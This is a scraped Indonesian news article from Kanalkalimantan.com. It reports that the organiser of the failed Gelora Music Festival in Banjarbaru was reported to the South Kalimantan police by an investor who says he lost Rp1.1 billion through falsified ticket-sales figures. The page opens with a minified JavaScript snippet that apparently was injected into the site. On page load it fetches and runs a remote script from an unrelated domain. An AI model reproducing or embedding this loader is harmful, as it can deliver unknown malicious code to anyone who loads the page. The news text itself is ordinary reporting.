(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

EO Konser Gagal di Banjarbaru Dilaporkan ke Polda Kalsel, Pemodal Rugi Rp1,1 Miliar


KANALKALIMANTAN.COM, BANJARMASIN – Masih ingat kisruh kegagalan salah satu konser musik di Kalimantan Selatan tiga bulan lalu, akhirnya berujung ke ranah hukum. Panitia pelaksana atau event organizer (EO) konser bertajuk Gelora Music Festival dilaporkan secara resmi ke Polda Kalsel.

Konser musik yang digelar di lapangan Sat Brimob Banjarbaru pada 6-7 Mei 2023 lalu itu gagal terlaksana lantaran tak bisa menghadirkan sejumlah artis penampil, serta tak membayar kerugian investor dan penonton.

Dalam hal ini, AYY dan kawan-kawan dilaporkan oleh Muhammad Aditiya Rahman selaku investor dari pelaksanaan konser tersebut, dengan total kerugian yang ia dapat sebesar Rp 1,1 miliar.

Melalui kuasa hukum, C Oriza Sativa Tanau SH membuat laporan ke Reskrim Polda Kalsel per tanggal 25 Juli 2023 lalu.

“Adapun kejadian berawal saat FK selaku penanggung jawab meminjam sejumlah dana untuk pelaksanaan event konser Gelora Musik Festival kepada klien kami, namun klien kami menolak,” ucap kuasa hukum, C Oriza Sativa Tanau SH kepada Kanalkalimantan.com, Selasa (1/8/2023) siang.

Baca juga: Carut Marut Konser Musik di Banjarbaru: EO Gagal Tangani Artis, Disebut Konser Abal-abal

Melalui kuasa hukum C Oriza Sativa Tanau SH, panitia pelaksana event konser Gelora Musik Festival dilaporkan ke Polda Kalsel. Foto: wanda

Mendengar penolakan tersebut ternyata FK pun tak tinggal diam. FK kembali mencoba meminjam dana kembali kepada pelapor sehari sebelum pelaksanaan konser, namun melalui bawahannya yakni AYY.

Adapun pinjaman awal yang diajukan sebesar Rp700 juta, dengan perjanjian akan mengembalikan pinjaman sebesar 10 persen keuntungan yang didapat dari penjualan tiket konser.

“Saudara AYY akhirnya meminjam uang kepada klien atas perintah FK, tadinya AYY bilang menawarkan pekerjaan kepada klien kami sebagai penyandang dana seperti bayar artis dan lain-lain,” sebut dia.

Untuk meyakinkan pelapor kembali, AYY juga menunjukkan sebuah bukti uang yang dimiliki pihaknya di aplikasi yesplis sebesar Rp1,7 miliar dari hasil penjualan tiket.

Pelapor pun dijanjikan bahwa uang sebesar Rp1,7 miliar tersebut bisa dicairkan satu minggu setelah pelaksanaan konser.

“Datanya ditunjukkan sehingga membuat klien kami percaya dan merasa mereka sanggup untuk membayar, lalu akhirnya klien kami melakukan transfer,” jelas dia.

Baca juga: Tak Kunjung Kasih Janji Refund Duit Penonton Konser, Perkumpulan EO Kalsel Ambil Sikap

Namun, tak disangka pelapor kembali ditodong uang oleh penyelenggara beberapa saat sebelum pelaksanaan konser dengan dalih bahwa masih ada vendor-vendor yang belum dibayarkan.

“Mereka bilang itu harus dibayarkan, dengan ancaman jika tidak konser batal, dan jika konser tak terlaksana maka uang sebesar Rp700 juta di awal itu akan hangus atau tidak kembali,” sebut C Oriza Sativa Tanau SH.

AYY pun kembali meyakinkan pelapor dengan menjajikan keuntungan yang akan disesuaikan yakni sebesar Rp125 juta dan juga memberikan jaminan sebuah sebuah mobil milik AYY.

“Ditanya lah oleh klien kami dimana BPKB mobil, dia bilang akan diambil di tempat ibunya. Maka klien kami memaklumi karena deadline pekerjaan mereka karena sudah mau pelaksanaan konser, dan ternyata tanggal 5 itu, pada saat malamnya ada kejadian vendor-vendor minta bayar,” ungkap kuasa hukum.

Atas desakan itu mau tidak mau, pelapor pun kembali mengeluarkan dana dengan total dari awal sebesar Rp1.115.000.000.

Laporan pihak pemodal yang melapor ke polisi atas ulah panitia Gelora Music Fest. Foto: tangkap layar

Belakangan pada saat pelaksaan konser tersebut kacau, lantaran sejumlah artis batal manggung karena tidak mendapat uang transprtasi. AYY dan kawan-kawan pun diamankan bersama dengan pihak kepolisian.

“Karena tahu klien kami bahwa AYY diamankan, maka dia mendatangi AYY di depan saksi yang banyak dan di situ lah saudara AYY mengungkap bahwa selama ini dia telah memberikan data-data palsu,” jelas kuasa hukum Muhammad Aditiya Rahman.

Setelah diselidiki, AYY memberikan pengakuan bahwa data dari penjualan tiket sebesar Rp1,7 miliar itu dimanipulasi atas perintah FK. Data sebenarnya ialah tiket terjual hanya sebesar Rp750 juta saja.

Baca juga: ‘Sang Dewi’ Lyodra Batal Manggung di Banjarbaru Gegara Panitia, Beli Tiket VIP All Days Pass Jadi Sia-sia

Bahkan yang lebih mengagetkan pihak pelapor ternyata jaminan mobil dari AYY kepada pelapor itu merupakan produk leasing.

Atas kejadian ini pelapor atas nama Muhammad Aditiya Rahman melalui tim kuasa hukumnya melaporkan kejadian ini kepada Polda Kalsel.

Setelah sebelumnya pihak pelapor telah melakukan pendekatan persuasif untuk menyelesaikan masalah secara kekeluargaan namun ternyata juga tidak mendapatkan itikad baik.

Apalagi setelah pihaknya tahu dibalik penjualan tiket sebesar Rp750 juta itu ternyata uangnya sudah diberikan AYY kepada FK, dan hingga saat ini keberadaan FK belum diketahui.

“Ya tadinya klien kami itu teman rekan bisnisnya FK, FK adalah penanggung jawab acara dan AYY itu di bawahnya FK. Kami pun sudah berusaha semaksimal mungkin mencari FK, namun kami tidak sanggup dan memilih melimpahkannya kepada kepolisian,” pungkas C Oriza Sativa Tanau SH. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Al Ghifari

Recent Posts

Nurkhalis Anshari Menuju Pilwali Banjarbaru ‘Bergantung’ Poros Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Proses lobi politik terus dilakukan kader Partai Keadilan Sejahtera (PKS) Nurkhalis Anshari… Read More

8 jam ago

8 Nama Masuk Penjaringan DPC PKB Banjarbaru, Ada Ayah dan Anak dari Golkar

KANALKALIMANTAN.COM, BANJARBARU – Partai Kebangkitan Bangsa (PKB) pemilik 3 kursi di DPRD Kota Banjarbaru 2024-2029… Read More

9 jam ago

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

13 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

14 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

14 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

14 jam ago

This website uses cookies.